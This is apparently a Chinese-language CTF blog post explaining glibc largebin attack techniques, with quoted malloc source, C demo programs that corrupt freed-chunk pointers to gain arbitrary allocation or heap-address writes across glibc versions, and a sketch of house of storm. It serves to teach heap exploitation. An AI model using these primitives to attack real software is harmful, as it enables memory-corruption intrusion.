Largebin attack

hash_hash

之前花了点时间把简单的IO链看了一遍,实际上在题目里面都不是裸的IO链,还需要结合一些堆的常见打法构造任意地址写,任意地址读的机会。而且利用malloc_assert触发io需要打top_chunk的size,一般就考虑堆溢出,分配堆块到top_chunk上,或者是考虑largebin_attack任意写堆地址的3字节错位把size改成一字节大小。下面对不同版本glibc下的largebin_attack进行分析

largebin_attack主要是两个作用,任意地址申请堆块,任意地址写堆地址

其中任意地址申请堆块并不受glibc版本的限制,在2.35下仍然可打,但是初始条件太强,不太好用

任意地址写堆地址在glibc 2.30之前比较容易利用,可以做到两处任意地址写,而在glibc 2.30开始,新增了相关的指针检测,导致原来两处任意地址写不可利用,但是另外一处的链接过程未检测,所以在2.30之后基本就是利用这一处做到一次任意地址写

任意地址申请堆地址

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<stdlib.h>

int main()
{
unsigned long* p1 = malloc(0x410);
malloc(0x10);
unsigned long* p2 = malloc(0x420);
malloc(0x10);
unsigned long* p3 = malloc(0x420);
free(p1);
free(p2);
unsigned long* p4 = malloc(0x600);
unsigned long bss1 = p3-2;
p1[3] = p3-2;
p3[0] = &bss1-3;
p3[1] = &bss1-2;
p3[2] = 0;
p3[3] = 0;
(p4-2)[0] = 0x430;
unsigned long* p5 = malloc(0x420);
p5[0] = 0x2333;
}

源码

这部分是在largebin中取chunk时的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/

if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin
&& (unsigned long) chunksize_nomask (victim)
>= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("malloc(): corrupted unsorted chunks");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

主要关注一个局部

1
2
3
4
5
6
7
8
9
10
11
12
13
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd);

从largebin申请时,先通过malloc大小找到相应index的bin然后从bin的最小的chunk通过bk_nextsize进行遍历,找到第一个大于等于申请size的chunk进行unlink操作

总共需要做到下面几个步骤

1
2
3
chunksize_nomask (victim) >= (unsigned long) (nb)//bin中最大chunk的size大于申请size
victim = victim->bk_nextsize;//把bin中某个size较小chunk的bk_nextsize改成target_addr
unlink (av, victim, bck, fwd);//此处将在target_addr处做解链,需要绕unlink操作

这里借此分析一下unlink,之前一直没搞明白,实际上unlink函数一直没改动,高版本不好打unlink是因为int_free在操作的时候多做了部分检测,导致不好利用unlink的思路来打overlapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

从源码上看unlink只需绕几个点

1
2
3
4
if (chunksize (p) != prev_size (next_chunk (p)))//需要修改根据size索引的下一个chunk的prev_size
__builtin_expect (fd->bk != p || bk->fd != p, 0)
//fd = target-0x18,bk = target-0x10; *target = p(heap地址可能会存bss上,不开pie的情况下容易找到满足的target)
p->fd_nextsize != NULL//比较容易满足,如果是打overlapping的话一般都不用处理

这个手法感觉就是用来打堆重叠的,所以target_addr一般考虑是heap上的伪造chunk,我们只需要先在largebin里面布置一大一小两chunk,将小chunk的bk_nextsize修改,然后把需要满足的条件改改,最后申请一个介于之间大小的chunk即可完成利用

任意地址写堆地址

Libc<2.30

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<stdlib.h>

int main(){
long target1 = 0;
long target2 = 0;
unsigned long* p1 = malloc(0x410);
malloc(0x10);
unsigned long* p2 = malloc(0x420);
malloc(0x10);
free(p1);
malloc(0x500);
free(p2);
p1[1] = &target1-2;
p1[3] = &target2-4
malloc(0x500);
}

源码

向largebin中插入chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
     /* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

从源码来看我们有以下3个点可以任意地址写堆地址

1
2
3
4
5
6
victim->bk_nextsize = fwd->fd->bk_nextsize;//1
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize = fwd->bk_nextsize;//2
victim->bk_nextsize->fd_nextsize = victim;
bck = fwd->bk;//3
bck->fd = victim;

这个地方很容易理解,如果考虑2+3的话就是先在largebin里布置一个小一点的chunk,改chunk的bk,bk_nextsizetarget1-0x10,target2-0x20,最后再往largebin放入一个大一点的chunk即可完成利用

Libc≥2.30

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<stdlib.h>

long target1 = 0;

int main(){
unsigned long* p1 = malloc(0x420);
malloc(0x10);
unsigned long* p2 = malloc(0x410);
malloc(0x10);
free(p1);
malloc(0x500);
free(p2);
p1[3] = &target1-4;
malloc(0x500);
}

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{{...//前面与低版本一直
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

可以看到这里新加了两处检测,所以低版本的2,3都不再好利用,所以高版本largebin attack都是考虑第一处的任意写

那么的话我们需要做的就是先在largebin中布置一个稍大的chunk,改该chunk的bk_nextsizetarget-0x20,最后放入小一点的chunk

下面简单说一下house of storm,虽然高版本不再能用,但是这个利用思路确实是比较巧妙的

House of storm

House of storm 是largebin attack结合unsorted bin的一种很巧妙的利用方式,由于其需要用到两次任意地址写堆地址,所以仅适用libc<2.30的情况

利用条件如下

  • 在largebin布置一个较小chunk修改bk,bk_nextsize
  • unsorted bin布置一个大一点的chunk,修改bk

unsorted bin的取出过程

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; // 把 fake_chunk 链入 unsorted_chunks(av)
bck->fd = unsorted_chunks (av); // 把 fake_chunk 的 fd 改成 unsorted_chunks (av)

而House of storm就是利用unsorted bin中的chunk在放入largebin中时利用largebin attack伪造一个chunk的size(0x56)以及bk,而在unsorted bin的解链过程中会把这个fake chunk链入unsorted_chunks (av),从而在申请0x50大小堆块时就做到了分配堆块到target_addr的目的

  • Post title:Largebin attack
  • Post author:hash_hash
  • Create time:2023-01-09 10:42:43
  • Post link:https://hash-hash.github.io/2023/01/09/Largebin-attack/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.